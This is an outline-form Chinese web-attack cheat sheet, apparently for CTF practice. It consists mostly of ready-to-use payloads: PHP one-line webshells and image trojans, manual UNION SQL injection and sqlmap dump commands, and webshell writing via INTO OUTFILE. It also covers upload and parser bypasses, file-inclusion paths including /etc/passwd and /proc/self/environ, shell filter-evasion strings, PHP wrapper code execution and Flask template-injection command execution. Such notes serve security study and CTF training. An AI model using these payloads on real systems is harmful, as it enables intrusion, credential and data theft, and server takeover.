-
靜態資源服務器漏洞
- Apache服務器從后向前解析文件類型,直到解析到可處理的文件名為止
- Apache Tomcat默認安裝包含"/examples"目錄
-
木馬與webshell
-
php一句話木馬
<?php @eval($_POST['cmd']) ?> 一句話木馬配合中國菜刀可以實現一個webshell。github也有開源的各種webshell。
-
圖片木馬
-
windows
copy a.png/b + b.txt/a c.png
-
linux
cat file1.txt file2.jpg >> file3.jpg
-
-
上傳的圖片木馬可以利用文件包含漏洞在生成一個小馬,在這個小馬中執行惡意代碼。
-
常用木馬工具
- weevely
- 中國菜刀
-
-
sql注入
-
手工注入
-
判斷注入點
字符型
#注:假設admin為正常查詢字符串 admin' and '1'='1'# 能查詢到數據 admin' and '1'='2'# 查詢不到數據
整數型
#注:假設7為正常查詢id 7 && 1=2
-
查詢字段
a' UNION SELECT 1# a' UNION SELECT 1,2# a' UNION SELECT 1,2,3# ...直到正常顯示數據為止,同時注意數字出現在網頁上的位置
-
查詢庫
a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# ...直到正常顯示數據為止,同時注意數字出現在網頁上的位置
-
查詢表
a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
-
查詢字段
a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
-
查詢記錄
a' union select secvalue,2,3,4,5 from ctf.ctf_key #
-
-
sqlmap
-
將請求報文抓下來放到一個文本文件,供sqlmap使用
-
判斷注入點,手工判斷或交給sqlmap
python sqlmap -r request.txt -p "username" ,-r 指定request報文,-p 指定注入參數。
-
查詢庫
python sqlmap.py -r request.txt --current-db,得到當前數據庫的名稱。
-
查詢表
python sqlmap.py -r request.txt -D 數據庫名 --tables,得到數據庫中的表的名稱。
-
查詢字段
python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。
-
查詢記錄
python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到用戶名、密碼。
-
-
sql注入獲取webshell
利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。
MySQL
select into outfile(dumpfile) //MySQL寫文件命令
example:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
-
-
文件上傳漏洞
-
文件上傳漏洞主要有以下幾種情況
- MIME類型繞過漏洞
- 文件擴展名繞過漏洞
- 文件內容檢測繞過類上傳漏洞
- 空字節截斷目錄路徑檢測繞過類上傳漏洞
-
解析導致的文件上傳漏洞
- IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
- Apache站上的解析缺陷繞過上傳漏洞
- htaccess文件上傳解析漏洞
-
-
HTTP Header 偽造請求地址和源地址
-
X-Forwarded-For
-
referer
-
-
PHP文件包含漏洞
-
包含日志文件
- 先通過讀取httpd的配置文件httpd.conf,找日志文件所在目錄。常見日志文件位置:
- ../etc/httpd/conf/httpd.conf
- /usr/local/apache/conf/http.conf
- ../apache/logs/error.log
- 先通過讀取httpd的配置文件httpd.conf,找日志文件所在目錄。常見日志文件位置:
-
包含session
- 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
-
包含/proc/self/environ 文件
-
index.php?page=../../../../../proc/self/environ
該文件包含Web進程運行時的環境變量,用戶可以控制其中一部分,比如對User-Agent
-
-
包含上傳的臨時文件
- 如數據庫文件,緩存文件
-
-
PHP各種繞過
-
弱類型比較
- 'abc' == 0, 結果為true
- '1234a' == 1234,結果為true
- ‘admin’==0,結果為true
- ‘1admin’==1,結果為true
- “0e123456”==“0e456789”,結果為true
- ……
-
md5校驗漏洞
- md5('QNKCDZO') == md5(240610708), 結果為true,適用於sha1
- md5(array()) == md5(array()), 結果為true,適用於sha1
-
strcmp繞過
- strcmp("233", array()),結果為null。正常字符串比較一致的結果是0,但null在bool運算中很多情況下和0等價,可用來繞過if-else。
-
反序列化繞過 __wakeup
- 當成員屬性數目大於實際數目時可繞過wakeup方法
-
%00截斷
magic_quotes_gpc = off
PHP < 5.3.4 -
字節長度截斷:最大值Windows下256字節,Linux下4096字節
-
%00截斷目錄遍歷
/var/www/%00
magic_quotes_gpc = off
-
編碼繞過
%2e%2e%2f ../
..%c0%af ../
%2e%2e%5c ..\
-
-
其他各種繞過
-
文件上傳繞過檢查
-
抓包,修改Content-Type
-
Apache解析漏洞
上傳 1.php.jpg #apache從后向前解析
-
Nginx解析漏洞
php%001.jpg #00處截斷
-
IIS解析漏洞
a.asp; xx.jpg
-
修改文件頭
GIF89a<?php @eval($_GET[0])> #GIF
-
別名
php的別名php1,php2
-
-
linux shell 命令繞過檢查
-
使用通配符*、?繞過關鍵詞
ls –l =>/?ln/?s –l /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
-
使用連接符繞過關鍵詞
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d /b\i\n/w\h\i\c\h c\a\t
-
使用未初始化的bash變量繞過
cat$a /etc$a/passwd$a
-
使用>繞過命令長度限制
-
${IFS}代替空格
-
-
SQL注入,繞過檢查
- 大小寫如:UniOn,And等
- and/or 替換成&& ||
- substring mid left right
- replace uniunionon=>union
-
-
變量覆蓋漏洞
-
$$這種寫法稱為可變變量
一個可變變量獲取了一個普通變量的值作為這個可變變量的變量名。
-
extract()函數使用不當
extract() 函數從數組中將變量導入到當前的符號表。
如果代碼中出現extract(array, EXTR_OVERWRITE),如果你能控制array的值,則存在變量覆蓋漏洞。
-
parse_str()函數使用不當
parse_str() 函數把查詢字符串解析到變量中。
parse_str(string,array)
如果未設置 array 參數,由該函數設置的變量將覆蓋已存在的同名變量。
$a=1; parse_str('a=2'); // 變量a的值會被覆蓋為2
-
import_request_variables()使用不當
import_request_variables將 GET/POST/Cookie 變量導入到全局作用域中
語法:
bool import_request_variables(string$types[,string$prefix])
$type代表要注冊的變量,G代表GET,P代表POST,C代表COOKIE,第二個參數為要注冊變量的前綴
import_request_variables('G')指定導入GET請求中的變量,從而導致變量覆蓋
-
-
遠程命令執行
-
preg_replace 有一個代碼注入的漏洞,模式串后面加個e,會把替換后的字符串當做php代碼執行。 preg_replace 函數php5.5版本以上被廢棄
-
php assert如果是字符串語句,且包含了變量,可以閉合該語句執行任意php代碼。
-
上級目錄 .. 被過濾,使用\繞過。
linux 進入上一級目錄:cd .. 等價與 cd .\.
linux bash中,\為轉義字符,用於轉義&這類關鍵字。遇到無需轉義的字符,會忽略掉\。
-
-
php偽協議
-
php://input
-
條件:allow_url_include = on
-
payload
index.php?file=php://input POST: <? phpinfo(); ?>
-
-
php://filter
使用偽協議讀取php代碼,編碼為base64: php://filter/read=convert.base64-encode/resource=./index.php
-
php://phar
讀取壓縮文件下名為phpinfo.txt的文件 index.php?file=phar://shell.zip/phpinfo.txt
-
data
-
條件
-
allow_url_fopen = On
-
allow_url_include = On
index.php?file=data:text/plain,<?php phpinfo(); ?>%00 index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
-
-
php發送HTTP請求
url后跟@+文件名,可以將文件內容加入post請求的數據部分
-
-
源碼泄露
-
git源碼泄露,GitHack
-
svn源碼泄露, dvcs-ripper
-
DS_Store文件泄露, ds_store_exp
-
phps:php源代碼文件
-
WEB-INF/web.xml泄露
WEB-INF 是 Java 的 WEB 應用的安全目錄。該目錄原則上來說是客戶端無法訪問,只有服務端才可以可以訪問。如果想在頁面中直接訪問其中的文件,必須通過 web.xml 文件對要訪問的文件進行相應映射才能訪問。
WEB-INF 主要包含一下文件或目錄:
/WEB-INF/web.xml:Web 應用程序配置文件,描述了 servlet 和其他的應用組件配置及命名規則;
/WEB-INF/classes/:含了站點所有用的 class 文件,包括 servlet class 和非 servlet class,他們不能包含在 .jar 文件中;
/WEB-INF/lib/:存放 web 應用需要的各種 JAR 文件,放置僅在這個應用中要求使用的 jar 文件 , 如數據庫驅動 jar 文件;
/WEB-INF/src/:源碼目錄,按照包名結構放置各個 java 文件;
/WEB-INF/database.properties:數據庫配置文件。
不過在一些特定的場合卻會讓攻擊者能讀取到其中的內容,從而造成源碼泄露. -
網站備份文件泄露
在網站的升級和維護過程中,通常需要對網站中的文件進行修改。此時就需要對網站整站或者其中某一頁面進行備份。
當備份文件或者修改過程中的緩存文件因為各種原因而被留在網站 web 目錄下,而該目錄又沒有設置訪問權限時,便有可能導致備份文件或者編輯器的緩存文件被下載,導致敏感信息泄露,給服務器的安全埋下隱患。
該漏洞的成因主要有是管理員將備份文件放在到 web 服務器可以訪問的目錄下。
該漏洞往往會導致服務器整站源代碼或者部分頁面的源代碼被下載,利用。源代碼中所包含的各類敏感信息,如服務器數據庫連接信息,服務器配置信息等會因此而泄露,造成巨大的損失。
被泄露的源代碼還可能會被用於代碼審計,進一步利用而對整個系統的安全埋下隱患。
文件后綴:
.rar .zip .7z .tar.gz .bak .swp .txt .sql
-
-
php標簽過濾。有些時候命令傳不上去是因為服務端對php標簽做了過濾。
php標簽
<?php echo 'Hello World !'; ?> <script language="php"> echo 'Hello World !'; </script> <? echo 'this is the simplest, an SGML processing instruction'; ?> <?= expression ?> This is a shortcut for "<? echo expression ?>" <% echo 'You may optionally use ASP-style tags'; %> <%= $variable; # This is a shortcut for "<% echo . . ." %>
-
模板注入
-
Flask
-
命令執行
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
-
過濾單引號
?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
-
-
Tornado讀取cookie_screct
- {{handler.settings}}
-
-
FUZZ
-
常用工具
- burp suite
- wfuzz
-
-
GBK編碼范圍:8140-FEFE
-
弱密碼爆破
-
目錄爆破
- dirsearch